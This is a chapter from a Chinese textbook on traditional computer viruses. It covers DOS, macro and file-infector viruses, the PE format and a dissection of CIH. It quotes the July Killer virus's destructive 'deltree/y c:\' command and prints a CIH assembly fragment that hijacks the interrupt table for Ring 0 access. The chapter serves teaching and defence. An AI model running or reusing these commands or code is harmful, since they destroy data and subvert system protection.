官术网_书友最值得收藏!

第二篇 計算機病毒分析

第4章 追根溯源——傳統計算機病毒概述

4.1 早期的DOS病毒介紹

4.1.1 DOS操作系統簡介

DOS(Disk Operating System)是磁盤操作系統的英文縮寫。1981年,微軟正式發布MS-DOS 1.0。1983年3月,微軟公司發布了MS-DOS 2.0,這個版本與以前相比有了很大改進,它可以靈活地支持外部設備,同時引進了UNIX系統的目錄樹文件管理模式。后來,MS-DOS漸漸成為了16位操作系統的標準。

MS-DOS的最后一個版本是6.22版,這以后的DOS就和Windows相結合了。6.22版的MS-DOS已經是一個十分完善的版本,其眾多的內部、外部命令使用戶可以比較簡單地對電腦進行操作,此外其穩定性和可擴展性也都十分出色。

DOS操作系統具有文件管理方便、外設支持良好、兼容性好和小巧穩定等優點。但與此同時,DOS是一個單用戶、單任務的操作系統,因此使用起來有很大的局限性。此外,DOS采用不直觀的字符操作界面,對多媒體的支持也很有限,所以,DOS系統后來逐漸退出了歷史舞臺,并被Windows操作系統所代替。

4.1.2 DOS病毒

DOS病毒是指針對DOS操作系統開發的病毒,是出現最早、數量最多、變種也最多的計算機病毒。由于Windows操作系統的出現,病毒制造者大多已經不再制作新的DOS病毒了,因此,DOS病毒幾乎絕跡。DOS病毒大多數只能在DOS環境下運行和傳染。但某些DOS病毒在Win9x環境中仍可以進行感染活動,因此若執行染毒文件,Win9x用戶也會被感染。有相當一部分DOS病毒可在Windows的DOS窗口下運行并傳播。一部分DOS病毒在Windows下運行時,可能會導致系統死機或程序運行異常。

目前發現的所有病毒中有一半以上都是DOS病毒,雖然DOS病毒數量眾多,但是無論從破壞程度還是從傳播速度上來講,都無法與諸如蠕蟲、漏洞攻擊類病毒相提并論。大部分DOS病毒都是制造者通過對公開代碼進行一定變形而制作的惡作劇,這些病毒的絕大部分是感染DOS可執行文件,如:EXE文件,COM文件,或者是BAT文件等。此外,大部分DOS病毒都有一個共同的特性,即通常在特定條件下發作,破壞性比較嚴重的病毒會破壞硬盤中的重要資料,甚至重新格式化(Format)硬盤。比如,米開朗基羅病毒在每年3月6日發作,當用戶開機時,病毒會對用戶的硬盤進行格式化。

早期常見的以日期為發作條件的病毒的發作現象如表4-1所示。

表4-1 以日期為發作條件的病毒發作現象

由于Windows等圖形界面操作系統的開發和普及,DOS操作系統已經逐漸退出了歷史舞臺,攻擊DOS系統的病毒也隨之越來越少。雖然現在新開發的DOS病毒幾乎絕跡,但是,DOS病毒在反病毒的歷史上仍然占有不可替代的地位。

4.2 Office殺手——宏病毒

4.2.1 什么是“宏”

宏(Macro)是微軟公司出品的Office軟件包中所包含的一項特殊功能。微軟設計此項功能的主要目的是給用戶自動執行一些重復性的工作提供方便。它利用簡單的語法,把常用的動作寫成宏,用戶工作時,就可以直接利用事先編好的宏自動運行,以完成某項特定的任務,而不必反復重復相同的動作。

我們在使用Word時使用的通用模板(Normal.dot)里面就包含了基本的宏。只要一啟動Word,就會自動運行Normal.dot文件。如果在Word中重復進行某項工作,可利用宏使其自動執行。現在很多大公司都比較注重企業形象,在對內、對外發放的文檔中都要在頁眉或頁腳處加入公司的LOGO和聯系方式,為了避免在每次編輯文檔時反復添加這些內容,可以只對Normal.dot進行編輯,完成編輯后,當用戶再次運行Word創建任何一個文檔時都會含有Normal.dot中的慣用選項,這樣就大大簡化了工作,方便了用戶的使用。如圖4-1所示,除了Normal.dot以外,Word還提供了很多其他的模板,如我們日常使用的郵件、傳真、簡歷等。

圖4-1 Word常用模板

Office中為Word提供了兩種創建宏的方法——宏錄制器和Visual Basic編輯器。宏將一系列的Word命令和指令組合在一起,形成一個命令,以實現執行任務的自動化。

微軟的Word Visual Basic for Application(VBA)是宏語言的標準。隨著應用軟件的進步,宏語言的功能也越來越強大。利用宏語言不僅可以實現幾乎所有的操作,還可以實現一些應用軟件原來沒有的功能。每個模板或數據文件中都可以包含宏命令。

4.2.2 宏病毒的定義

宏病毒正是利用Word VBA進行編寫的一些宏(早期的宏病毒都是用Word VBA語言編寫的),不過這些宏的應用不是為了給人們的工作提供便利,而是會破壞文檔,使人們的工作遭受損失。宏病毒是一種寄存在文檔或模板的宏中的計算機病毒,是利用Microsoft Office的開放性(即Word中提供的VBA編程接口)專門制作的一個或多個具有病毒特點的宏的集合。例如,W2KM.PSD.DOC病毒(發作現象如圖4-2所示),當日期和分鐘數相同時,會在word文檔中隨機添加n個n種顏色的n邊形(n為隨機數量),嚴重地干擾用戶正常地編輯文檔。

一旦打開含有宏病毒的文檔,其中的宏就會被執行,于是宏病毒就會被激活,轉移到計算機中并駐留在Normal模板上。從此以后,所有自動保存的文檔都會“感染”上這種宏病毒,而且如果其他用戶打開了感染了病毒的文檔,宏病毒又會轉移到該用戶的計算機上。

圖4-2 宏病毒的發作現象

4.2.3 宏病毒的特點

第一個宏病毒出現在1995年,大面積暴發并造成較大危害的宏病毒是著名的“臺灣一號”病毒。在病毒最為猖獗的1997年,高峰時每周甚至有近千個新的病毒出現,其中絕大多數都是宏病毒,因此,1997年也被稱之為“宏病毒年”。那時,宏病毒可以算是比較“先進”的病毒,傳播方式也比較獨特。

綜合來看,宏病毒有以下幾個特點。

(1)病毒原理簡單,制作比較方便。

宏病毒用Word VBA語言編寫,Word VBA語言提供了許多系統級底層調用,如直接使用DOS系統命令,調用Windows API,調用DDE、DLL等。這些操作均可能對系統直接構成威脅。目前,世界上的宏病毒原型已有幾十種,大部分Word宏病毒并沒有使用Word提供的Execute—Only處理函數處理,它們仍處于可打開閱讀修改狀態。就算沒有宏病毒編寫經驗的人也可以輕易地改寫出宏病毒的變種。

(2)傳播速度相對較快。

Word宏病毒通過DOC文檔及DOT模板進行自我復制及傳播,并且利用互聯網、電子郵件大面積傳播。由于初期使用者對Word軟件本身的特性不了解,對外來的文檔、文件基本是直接瀏覽使用,這就給Word宏病毒傳播帶來了很多便利的條件。

(3)病毒宏中必然含有對文檔讀寫操作的宏指令。

(4)宏病毒在DOC文檔、DOT模板中以BFF(BinaryFileFormat)格式存放。

4.2.4 宏病毒的發作現象及處理

圖4-3所示是被宏病毒感染后的Word文件中的病毒體。

圖4-3 被宏病毒感染后的Word文件中的病毒體

圖4-3中矩形框標注的部分是病毒在修改注冊表中保存的Word的安全級別,其注冊表路徑為:

HKEY_CURRENT_USER\Software\Microsoft\Office\xxxx\Word\Securtiy。橢圓形標注的部分是宏病毒要傳播的代碼。其中引用了NormalTemplate對象,此對象對應的就是Normal.dot文件。病毒感染此模板文件后,每當新建一個Word文件時,文件就會帶有病毒體了。因此,只要在Word宏中發現了類似這兩處中的任意一處的標記,就可以基本上判定此文件已經被病毒感染。

宏病毒雖然已不再是目前的主流病毒,但是,如果用戶使用的Office軟件版本較低,或者經常與朋友或客戶交換文檔資料,那么,最好仔細回想或檢驗一下,是否發生過下面的情況:

(1)嘗試保存文檔時(如圖4-4所示),Word只允許將文檔保存為文檔模板的格式(*.dot)。

(2)Word文檔圖標的外形類似模板圖標而非文檔圖標。文檔圖標與模板圖標的區別如圖4-5所示。

圖4-4 Word只允許將文檔保存為文檔模板格式

圖4-5 文檔圖標與模板圖標

(3)在工具菜單上指向宏并單擊宏后,程序無任何響應,或工具菜單上不再顯示宏或自定義菜單項。

(4)宏列表中出現新宏(在工具菜單上,鼠標指向宏,然后單擊宏)。例如,如果帶有諸如AutoOpen、AutoNew、AutoExec、FileSaveAs這樣一些名稱的宏,或一些名字很怪的宏,如AAAZAO、PayLoad等,就說明極有可能是感染了宏病毒,因為Normal模板中是不包含這些宏的。

(5)打開Word文檔或模板時顯示異常或意外消息。

(6)如果打開一個文檔后未經任何改動,立即就有存盤操作,也有可能是因為該Word文檔帶有病毒。

如果在使用文檔時出現過上述現象,那么很可能是由于感染了宏病毒。除了用最新的殺毒軟件產品查殺病毒外,還可以按照微軟官方推薦的以下方法進行簡單處理:

(1)在打開懷疑感染了宏病毒的文件時按住Shift鍵。如果在打開文檔或模板時按住Shift鍵(或在啟動Word時按住Shift鍵),將避免宏自動運行;如果存在宏病毒,將不會加載宏。

(2)可利用管理器重命名Normal.dot或刪除宏列表中的可疑的宏(如圖4-6所示)。

圖4-6 重命名Normal.dot或刪除宏列表中的可疑的宏

(3)將文件插入新文檔。啟動Word,打開一個新的空白文檔。在插入菜單上,單擊文件。選中受影響的文件,然后單擊打開。刪除宏列表中可疑的宏。用另一個文件名保存新文檔,然后刪除受感染的文件。

當然,最簡便的方法還是用最新版的殺毒軟件對宏病毒進行查殺。

4.2.5 典型的宏病毒——“七月殺手”病毒

“七月殺手”病毒是一個典型的宏病毒。該病毒是一種具有極大的隱蔽性和破壞性的,由國內黑客編寫的中文Word 97宏病毒。

1.“七月殺手”病毒的破壞和表現

顧名思義,“七月殺手”病毒是一個以日期為觸發條件的宏病毒,只感染Office 97和Office 2000產生的Word文件?!捌咴職⑹帧辈《驹?月1日至31日期間發作,在此期間,受到病毒感染的用戶在使用Word時,病毒會彈出一個標題為“醒世恒言”的簡體中文對話框,框內的文字含有一些非常偏激的話,如“當今世界太黑暗,太不公平”等,病毒逼迫用戶用“確定”鍵表示與其觀點一致,如果一直選擇“確定”,將會出現“恭喜你是個智者”的對話框,如果連續3次選擇“取消”,將會出現“現在,上帝就要懲罰你……”的文字。該病毒會讓用戶硬盤中C盤根目錄下的自動批處理文件“Autoexec.bat”將原來內容全部刪除,并寫進一個具有破壞性的命令代碼:“deltree/y c:\”,從而當用戶再次啟動計算機時,用戶C盤下的所有文件都將被刪除,致使計算機系統無法啟動。該病毒是一種非常有害的惡性病毒。

2.“七月殺手”病毒的機理

該病毒能感染Word 97和Word 2000中的DOT及DOC文件,感染通用模板文件Normal.dot,并通過它來感染其他未被感染的或新建立的DOC文件。它與其他宏病毒的不同之處在于:當首次打開帶毒的文件時,病毒會在C盤根目錄下復制一個名為Autoexec.dot的病毒附本,該文件中隱藏著該病毒的所有代碼。

當Word運行時,會自動調用Autoexec.dot文件,此時病毒會被激活,從而搶先感染通用模板文件Normal.dot,該病毒會自動關閉Word系統“工具”中的“宏”、“模板和加載項”及“自定義”項,因而使用戶看不到當前Word文檔的宏病毒,所以不能使用簡單的“手工刪除”方法來刪除宏病毒。此外,該病毒還會“以毒攻毒”,若文件中還有其他宏病毒,它會將其殺掉,從而獨霸計算機。

3.“七月殺手”處理建議

根據該病毒的特性,如果用戶的系統中沒有安裝殺毒軟件,可以將電腦的系統時間臨時改為7月之前或7月之后,以避開病毒的激發日期。此外,為了防止該病毒使用Deltree命令進行破壞,可以將電腦中的C:\windows\command\deltree.exe改為其他名稱。如果已經感染了“七月殺手”病毒,那么當該病毒發作時,應連續按下“確定”鍵,以避免病毒的激發,如果誤按下“取消”鍵,應立即將C盤根目錄下Autoexec.bat文件中的Deltree命令行刪除。然而最徹底的方法是使用帶有實時監控的查殺病毒軟件,這樣做既可將病毒完全清除,又可在該病毒入侵系統前徹底對系統進行查毒,使病毒根本無法進入系統。

4.2.6 防范宏病毒的安全建議

為了有效防范宏病毒,建議采取以下措施:

(1)提高安全級別。目前較高版本的Word軟件(如Word 2000、Word XP、Word 2003等)都為用戶提供3~4個安全級別來進行宏病毒的防范。在不影響正常工作學習的前提下,建議用戶使用較高的安全級別來避免宏病毒的感染。如圖4-7所示,在宏安全性選項中,最好將安全級別提高到“高”。

(2)刪除既不是自定義的也不是Word默認提供的宏。

(3)按照自己的使用習慣設置Normal.dot模板并進行備份。當被病毒感染時,用備份的Normal.dot模板覆蓋當前的Normal.dot模板可以起到消除宏病毒的作用。

(4)如果懷疑外來的不明文件含有宏病毒,可以先用不調用任何宏的寫字板打開該文件,然后再將文本粘貼到Word中。轉換后的文檔是不含有任何宏的。

(5)如果用戶平時只進行普通的文字處理,很少使用宏編程,對Normal.dot模板也很少修改,可以設置“提示保存Normal模板”功能。如果宏病毒感染了Word文檔,當用戶從Word退出時,Word會給出“更改的內容會影響到公用模板Normal,是否保存這些修改內容?”的提示,這說明Word已感染了宏病毒。這時應選擇“否”,退出后用其他方法殺毒。如圖4-8所示,用戶在打開Word程序后,可以依次選擇“工具”→“選項”→“保存”,在“保存”選項中,選擇“提示保存Normal模板”功能。

圖4-7 宏安全性選項

圖4-8 依次選擇“工具”→“選項”→“保存”→“提示保存Normal”選項

4.3 變化多端的文件型病毒

文件型病毒是指能夠寄生在文件中的以文件為主要感染對象的病毒。這類病毒程序感染可執行文件或數據文件。如DosCom.Virus.Brain.a病毒和PE-Funlove病毒感染.COM和.EXE等可執行文件;Macro.BadBoy和Macro.BUG-A等宏病毒感染.DOC文件。文件型病毒是所有病毒種類中數量最龐大的一種。

4.3.1 文件型病毒的復制機制

典型的文件病毒通過以下的方式載入并復制自己:

(1)當一個被感染的程序運行之后,病毒控制后臺及后續操作。如果該病毒是一個宏病毒,那么當打開一個帶有宏程序的文檔(Word,Excel)時,病毒就開始控制系統。

(2)如果這個病毒是常駐內存型的,則會將自己載入內存,監視文件運行并打開服務的調用。當系統調用該類操作時,病毒將感染新的文件。

(3)如果該病毒不是常駐內存型的,則會立刻找尋一個新的感染對象,該對象可能是當前目錄中的第一個文件、一個固定的DOS目錄文件或者是設計病毒的人預先定義的某個文件,然后取得這個原始文件的控制權。

4.3.2 文件型病毒的分類

文件型病毒的分類方式沒有統一的規范,但是國際上普遍認可的分類方式有按照病毒的算法分類和按照操作系統分類。

根據病毒特有的算法,文件型病毒可以劃分為以下幾種。

1.伴隨型病毒

這一類病毒并不改變被感染的文件本身,它們根據算法產生.EXE文件的伴隨體,該伴隨體具有與文件同樣的名字和不同的擴展名(.COM)。例如,XCOPY.EXE的伴隨體是XCOPY.COM。病毒把自身寫入.COM文件且不改變.EXE文件,當DOS加載文件時,伴隨體優先被執行,然后再由伴隨體加載執行原來的.EXE文件。

2.“蠕蟲”型病毒

這種病毒通過計算機網絡傳播(主要是電子郵件),不改變文件和資料信息,利用網絡從一臺機器傳播到其他的機器,將自身通過網絡發送。它們有時存在于系統中,除了內存和硬盤之外一般不占用其他資源。我們將在第5章詳細講解“蠕蟲”病毒。

3.寄生型病毒

除了伴隨和“蠕蟲”型病毒之外,其他病毒均可稱為寄生型病毒。它們依附在系統的引導扇區或文件中,通過系統的功能進行傳播。這類病毒按照算法可分為:

(1)練習型病毒:病毒自身包含錯誤,不能進行有效的傳播或破壞。有很多惡性病毒都是先炮制出練習型病毒之后再不斷改進的。例如,一些處在調試階段的病毒。

(2)詭秘型病毒:這種類型的病毒一般不直接修改DOS中斷和扇區數據,而是通過設備技術和文件緩沖區等對DOS內部調用進行修改,使一般使用者不易看到資源的占用情況。這種病毒采用比較高級的技術,利用DOS的空閑數據區進行工作。

(3)變型病毒(又稱幽靈病毒):隨著匯編語言的發展,這類病毒使用一個復雜的算法,使自己每感染一次都具有不同的內容和長度。其一般做法是采用一段混有無關指令的解碼算法和被變化過的病毒體。

4.3.3 文件型病毒的發展史

在病毒的發展史上,文件型病毒的出現是比較有規律的。一般情況下,在一種新的病毒技術出現后,病毒會迅速發展,緊接著反病毒技術也會得到發展以抑制其流傳。當操作系統升級時,病毒也會演變出新的方式,產生新的病毒技術。文件型病毒可以分為以下幾類:

1.DOS可執行階段的病毒

1989年,可執行文件型病毒出現,它們利用DOS系統加載可執行文件的機制工作。其代表為“耶路撒冷”和“星期天”病毒。病毒代碼在系統執行可執行文件時取得控制權,修改DOS中斷,在系統調用時進行傳染,并將自己附加在可執行文件中,使文件長度增加。這類病毒可感染COM和EXE文件。

2.伴隨型與批次型階段的病毒

1992年,伴隨型病毒出現,它們利用DOS加載文件的優先順序進行工作。具有代表性的是“金蟬”病毒,它在感染EXE文件時生成一個和EXE同名的擴展名為.COM的伴隨體;在感染COM文件時把原來的COM文件改為同名的EXE文件,而且產生一個與原文件同名的伴隨體,其擴展名為.COM。這樣,在DOS加載文件時,病毒就會取得控制權。這類病毒的特點是不改變原來的文件內容、日期及屬性,清除病毒時只要將其伴隨體刪除即可。在非DOS操作系統中,一些伴隨型病毒利用操作系統的描述語言進行工作,具有代表性的是“海盜旗”病毒,它在執行時詢問用戶名稱和口令,然后返回一個出錯信息,之后將自身刪除。批次型病毒是工作在DOS下的與“海盜旗”病毒類似的病毒。

3.幽靈與多形型階段的病毒

1994年,隨著匯編語言的發展,人們可以用不同方式實現同一功能,這些方式的組合使一段看似隨機的代碼產生相同的運算結果。幽靈病毒就是利用這個特點,每感染一次就產生不同的代碼。例如,“One Half”病毒就是產生一段有上億種可能的解碼運算程序,病毒體被隱藏在這些加密的數據中。要查解這類病毒,必須能對這段數據進行解碼,從而加大了查毒的難度。多形型病毒是一種綜合性病毒,它既能感染引導區又能感染程序區。多數幽靈病毒都具有解碼算法,一種病毒往往需要兩段以上的子程序才能徹底清除。

4.生成器與變體機階段的病毒

1995年,在匯編語言中,一些數據的運算被放在不同的通用寄存器中進行,但卻得出了同樣的結果,隨機插入的一些空操作和無關指令并沒有影響運算的結果,這樣,一段解碼算法就可以由生成器生成。當生成的是病毒時,這種稱之為病毒生成器和變體機的軟件就產生了。具有代表性的是“病毒制造機”(VCL),它可以在瞬間制造出成千上萬種不同的病毒。查殺這類病毒時就不能使用傳統的特征碼掃描法,而是需要在宏觀上分析指令,解碼后查殺病毒。變體機就是增加解碼復雜程度的指令生成機制。

5.網絡和蠕蟲階段的病毒

1995年,隨著網絡的普及,病毒開始利用網絡進行傳播,這些病毒只是以上幾代病毒的改進。在非DOS操作系統中,“蠕蟲”最具代表性,它不修改磁盤文件,而是利用網絡功能搜索網絡地址,將自身向下一個地址進行傳播。這種病毒有時也存在于網絡服務器和啟動文件中。

6.視窗階段的病毒

1996年,隨著Windows和Windows 95的日益普及,利用Windows進行工作的病毒開始得到發展。這類病毒修改(NE,PE)文件,其代表是V 3783病毒。這類病毒的工作機制更為復雜,它們利用保護模式和API調用接口工作,清除方法也比較復雜。

7.宏病毒階段的病毒

1996年,隨著Windows Word功能的增強,使用Word宏語言也可以編制病毒,這種病毒使用類Basic語言,容易編寫且源代碼幾乎公開,其作用是感染Word文檔文件。在Excel中出現的相同工作機制的病毒也歸為此類。由于當時Word文檔格式沒有公開,所以這類病毒的查殺在當時比較困難。

8.互聯網階段的病毒

1997年,隨著互聯網的發展,各種病毒也開始利用互聯網進行傳播,一些攜帶病毒的數據包和郵件越來越多,如果不小心打開了這些郵件,機器就有可能中毒。現在新出現的互聯網病毒大部分屬于蠕蟲類病毒。

4.3.4 文件型病毒簡介

這里我們將按照操作系統的發展來介紹文件型病毒,從而有助于讀者對病毒的發展情況有一個全面的了解。

1.DOS病毒

若要運行一個程序,首先要由操作系統把它從存儲介質調入到內存中,然后才能運行它以完成計算或處理任務。在PC機環境中,被運行的程序通常是從軟盤或硬盤中調入內存的。除了特別設計的內存駐留型程序外,一般的程序在運行結束之后會將其在運行期間占用的內存全部釋放給系統,供下一個被運行的程序使用。計算機病毒是一種特殊的程序,因此它使用內存的方式與常規程序使用內存的方式有很多共同之處,然而也有其特點。這需要按病毒的類型來分析。

最早的DOS病毒都是引導型病毒,它的病毒體寄生在硬盤的主引導扇區,在計算機啟動的時候從磁盤的引導扇區被ROM BIOS中的引導程序讀入內存。正常的引導扇區信息在被ROM BIOS讀入內存后,該扇區的引導程序會完成對DOS系統的加載,然后該信息會自動被DOS系統覆蓋,在內存中不會留下任何痕跡。而引導區病毒則不能像正常引導程序那樣被覆蓋,否則就無法繼續進行傳播了。因此,各種引導區病毒全部是駐留內存型的,檢測程序可以通過各種方法發現引導型病毒在內存中的位置?!靶∏颉?、“大麻”、“米開朗基羅”等引導區病毒的共同特點就是在把控制權交給正常的引導程序去做進一步的系統啟動工作之前,首先把自己搬移到內存的高端。這樣可以保證自身不會被覆蓋。另外,它還修改DOS對于內存的調用,減少DOS的可用內存空間,并且將自己隱藏在被減少的內存空間中。不同的引導病毒占用的內存數量不同,具體如下:

小球病毒 2KB

大麻病毒 2KB

巴基斯坦智囊病毒 7KB

在查看DOS的可用內存時如果發現可用內存減少,則說明很可能是被內存駐留型病毒感染。

與引導型病毒不同,當文件型病毒被加載到內存時,內存已經在DOS的管理之下了。文件型病毒按使用內存的方式也可以分為駐留內存和非駐留內存兩類,其中駐留內存病毒占絕對多數。

駐留內存的文件病毒非常多,比如“1575”、“dir2”、“4096”、“中國炸彈”等。這種病毒一般把自身加到高端內存,這樣既不易被內存信息顯示程序發現,又使DOS察覺不到內存總數的減少。病毒在計算機基本保持工作狀態的情況下以用戶不易察覺的方式進行感染。若病毒掛接在系統中,當用戶進行正常的操作(如用DIR命令或COPY命令)時,隱藏在內存中的病毒在系統完成操作之前就先進行傳染操作。

不駐留內存的病毒有“維也納”病毒、“Syslock”病毒,“Taiwan”病毒等,這些不駐留內存的病毒既可以只感染.COM文件也可以只感染.EXE文件。它們采用的感染方法是運行一次后就在硬盤上尋找一個未被感染的文件進行感染。當程序運行完成后,病毒代碼離開內存且不在內存中留下任何痕跡。這類病毒比較隱蔽,但是它的傳播速度沒有駐留內存型病毒快。

隨著計算機技術的發展,許多計算機病毒采用自加密技術。據統計,在已發現的各種PC機病毒中,有近十分之一的病毒使用了自加密技術。按照被加密的內容劃分,自加密分為信息加密、數據加密和程序代碼加密三種。比如,“中國炸彈”病毒就是對被感染文件的前6個字節進行了修改,并將其以加密的形式存放在病毒體內。要恢復被感染的文件,必須經過解密才能獲得原文件的前6個字節。而“1575”病毒就是把c:command.com字符進行了加密,只要一啟動,“1575”病毒自然會隨系統文件command.com進入內存,從而大大提高了它的感染能力。而“1701”、“1704”病毒對于自身的病毒體進行了加密,它使用的加密密鑰的一部分是被感染文件的文件長度,從而使得每次感染時使用的密鑰都不相同,因此進一步增大了清除病毒的難度。

具有高級形式自加密技術的是一種稱為Mutation Engine的變形機技術。采用Mutation Engine技術的病毒不同于以往的病毒,它是具有自加密功能的新一代計算機病毒。Mutation Engine是一種程序變形器,它可以使程序代碼本身發生變化,同時保持原有的功能。利用計算得到的密鑰,變形機產生的程序代碼可以有很多種變化。因此,如果反病毒軟件用以往的特征串掃描的方法就不起作用了。這種病毒也被稱為“幽靈病毒”。

除了這些技術之外,一些病毒還使用了反跟蹤技術(如,“1575”病毒就加入了反跟蹤技術,阻止利用DEBUG等程序調試軟件對其代碼進行跟蹤),這里就不詳細介紹了。

DOS下的可執行文件是標準的可執行文件。采用16進制的文本編輯器可以看見它是以4D5A開頭的(由于數據的存儲方式是反的,實際上應該是5A4D)。它的結構非常簡單。

2.Windows病毒

隨著微軟Windows 3x操作系統的推出,病毒也進入了Windows時代。由于該操作系統依然使用DOS作為其底層操作系統,所以Windows 3x的病毒數量相對較少,人們能夠接觸到的典型的Windows 3x病毒是一個叫做“V3783”的病毒。

該病毒傳染硬盤、軟盤引導區及Windows、DOS可執行程序,其中包括.EXE、.COM、.OVL、.386等文件。程序被傳染后長度增加3783字節,文件日期被加上100年作為傳染標記。

“V3783”病毒是一種傳染性和隱蔽性都很強的病毒,它的獨到之處是可以傳染Windows文件,使病毒可以在Windows執行時駐留內存。

該病毒采用修改內存控制塊的方法達到駐留內存的目的,如果存在UMB,病毒會駐留在UMB中。該病毒駐留內存后截取INT 21H和INT 13H中斷,從而實現對文件和引導區的傳染。

該病毒駐留內存后,用DIR命令看不出文件長度的變化,用INT 13H讀出的磁盤引導記錄也是正常的而不是帶毒的引導記錄,用應用程序讀出的帶毒文件也都正常,但是由ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX這7個程序讀出的文件卻是帶毒的,所以被這些壓縮程序壓進文件包或用TELIX通過調制解調器傳到其他地方的文件都是帶毒的。由此可見該病毒在隱藏和傳播上下了很大工夫。

該病毒在傳染硬盤主引導區時隱藏于0柱面0頭5扇區,傳染軟盤引導區時隱藏于新格式化的軟盤的第81個磁道,傳染文件時附在文件末尾。該病毒本身不加密。

微軟為了配合其Windows 3x系統推出了NE格式可執行文件標準,也就是16位Windows格式可執行文件。它提出了section(節)的概念,使文件的結構發生了很大變化,而且還可以加入資源使可執行文件能夠顯示自己的圖標等。具體細節可以參見PE格式的說明。

到了Windows 9x時代,病毒有了很大發展。微軟在Windows 95推出的時候公布了其PE格式的可執行文件標準。在Windows 9x、NT、2000下,所有的可執行文件都是基于微軟設計的一種新的文件格式Portable Executable File Format(可移植的執行體),即PE格式。而現在新出現的病毒幾乎都是PE格式的可執行文件病毒,其中最有名的PE格式的病毒應該是PE_CIH病毒。

CIH病毒是感染Windows 95、98可執行文件的病毒。PE_CIH病毒最先于1998年6月在臺灣發現,該病毒作者把此病毒作為一個實用程序發到當地的互聯網上,結果在此后的一周內該病毒相繼在澳大利亞、瑞士、美國、俄羅斯等國被發現。該病毒于1998年8月中旬流入大陸。CIH病毒是迄今為止發現的最具危害的病毒之一,其陰險之處在于發作時不僅破壞硬盤的引導區和分區表,而且破壞計算機系統Flash BIOS芯片中的系統程序,導致主板損壞。CIH病毒是被發現的第一個直接破壞計算機系統硬件的病毒。該計算機病毒在其代碼中包含字符串“CIH v1.2 TT IT”,如圖4-9所示。

圖4-9 CIH病毒的代碼中包含“CIH v1.2 TTIT”字符串

該病毒利用了微軟的VxD技術,可以直接對硬盤的物理扇區進行寫操作。VxD(虛擬設備驅動)是微軟專門為Windows制定的設備驅動程序接口規范。通俗地說,VxD程序有點類似于DOS中的設備驅動程序,專門用于管理系統所加載的各種設備。比如,Windows為了管理最常用的鼠標,就會加載一個鼠標虛擬設備驅動程序(通常是mouse.VxD)。微軟之所以將它稱為“虛擬設備驅動”,是因為VxD不僅適用于硬件設備,而且也適用于按照VxD規范所編制的各種軟件“設備”。有很多應用軟件都需要使用VxD機制來實現某些比較特殊的功能。比如,最常見的VCD軟解壓工具就使用VxD程序有效地改善了視頻回放效果。Windows反病毒技術也需要利用VxD機制,這是因為VxD程序具有比其他類型的應用程序更高的優先級,而且更靠近系統底層資源——只有這樣,反病毒軟件才有可能全面、徹底地控制系統資源,并在病毒入侵時及時作出反應。

由于微軟在Win NT構架下的系統沒有使用VxD技術,所以PE_CIH病毒在Win NT下是沒有辦法運行的。

隨著計算機軟硬件的發展,病毒也有了更進一步的發展,并且伴隨著互聯網的不斷普及,蠕蟲病毒將成為未來病毒的主要發展方向。我們將在下面詳細介紹。

PE的意思就是Portable Executable(可移植的可執行文件),它是Win32環境自身所帶的可執行文件格式??梢浦驳目蓤绦形募馕吨宋募袷绞强鏦in32平臺的:即使Windows運行在非Intel的CPU上,任何Win32平臺的PE解釋器也都能識別和使用該文件格式。當然,移植到不同的CPU上的PE可執行文件必然會有一些改變。所有Win32可執行文件(除了VxD和16位的Dll)都使用PE文件格式,其中包括NT的內核模式驅動程序(kernel mode driver)。它的一些特性繼承自UNIX的Coff(common object file format)文件格式。

所有PE文件(甚至32位的DLL)必須以一個簡單的DOS MZ header開始。一旦程序在DOS下執行,DOS就能識別出這是有效的可執行文件,然后運行緊隨MZ header之后的DOS stub。DOS stub實際上是一個有效的EXE可執行文件,在不支持PE文件格式的操作系統中,它將簡單地顯示一個錯誤提示,其內容類似于字符串“This program can not run in DOS mode”或者是程序員根據自己的意圖編寫的完整的DOS代碼。緊接著DOS stub的是PE header。PE header是PE相關結構IMAGE_NT_HEADERS的簡稱,其中包含了許多PE程序解釋器用到的重要信息??蓤绦形募谥С諴E文件結構的操作系統中執行時,PE程序加載器將從DOS MZ header中找到PE header的起始偏移量,從而跳過DOS stub直接定位到真正的文件頭PE header開始執行。PE文件的真正內容劃分成塊,這些塊稱為section(節)。每個節是一塊擁有共同屬性的數據,比如代碼/數據、讀/寫等。

4.3.5 典型的文件型病毒——WIN95.CIH病毒解剖

CIH病毒是我們通常所說的Win32病毒的一種,該病毒利用Windows 9x針對系統區內存保護不利的弱點進行攻擊傳染。它的特點是傳播快,破壞力極強。一個典型的病毒由三部分組成:初始化部分、傳染部分和破壞部分。下面我們通過對部分代碼的分析分別說明該病毒的三個組成部分,并以此說明它的流程。在解剖該病毒前,我們先對Windows 9x系統進行一些簡單描述。

Intel IA-32系統對代碼實行分級保護。代碼特權級一共有4級,但Windows系統只使用了其中的2級。Ring 0是系統級,操作系統代碼和驅動程序代碼就運行在該級別。在該級上運行的代碼可以執行任意的Intel指令而不被限制,Ring 3是用戶級,一般的用戶程序所運行的級別屬于這一級,一些特權指令的執行將被限制。因為操作系統出于對自身的保護往往不允許用戶級的代碼去改寫系統的數據區。

1.初始化部分

通常,病毒在該部分做一些初始化操作,例如,在Win32病毒中普遍存在調用Win32 Api函數的操作。當然,CIH病毒利用VxD技術編寫,它并不調用系統提供的用戶級API,所以也就不存在定位API的問題。它的初始化部分主要是為了突破系統的保護,從而把自己的代碼執行特權級別提高,并把自己嵌入系統中以安裝相應的感染模塊。

因為普通的應用程序代碼被限制在Ring 3上運行,而病毒要攻入系統并進行傳播就存在一個突破系統限制以提高自己的特權級的問題。接下來我們看看CIH病毒是如何實現的。

      SIDT  DWORD PTR [ESP-2]
      POP   EBX                 獲得系統中斷表的基址
      ADD  EBX,1CH              計算INT3的中斷描述符地址
      MOV  EBP,[EBX]
      MOV  BP,[EBX-4]
      LEA   ESI,[ECX+12]        獲得系統的Ring 0代碼的地址
      PUSH  ESI
      MOV  [EBX-4],SI
      SHR   ESI,10H
      MOV  [EBX+2],ESI          寫入到INT3中斷描述符中
      POP   ESI

這樣的代碼在WinNT、Win2k、WinXp上如果被執行,將會發生異常。原因是它嘗試改寫系統的數據區,而在以上的系統中,系統的數據是不能被用戶讀寫的。但Win9x中因為系統對自己的關鍵數據區沒有進行保護(這里主要是因為內存頁的屬性為用戶頁,并且可讀寫),從而使得Ring 3級的代碼可以任意改寫操作系統的很多數據區。

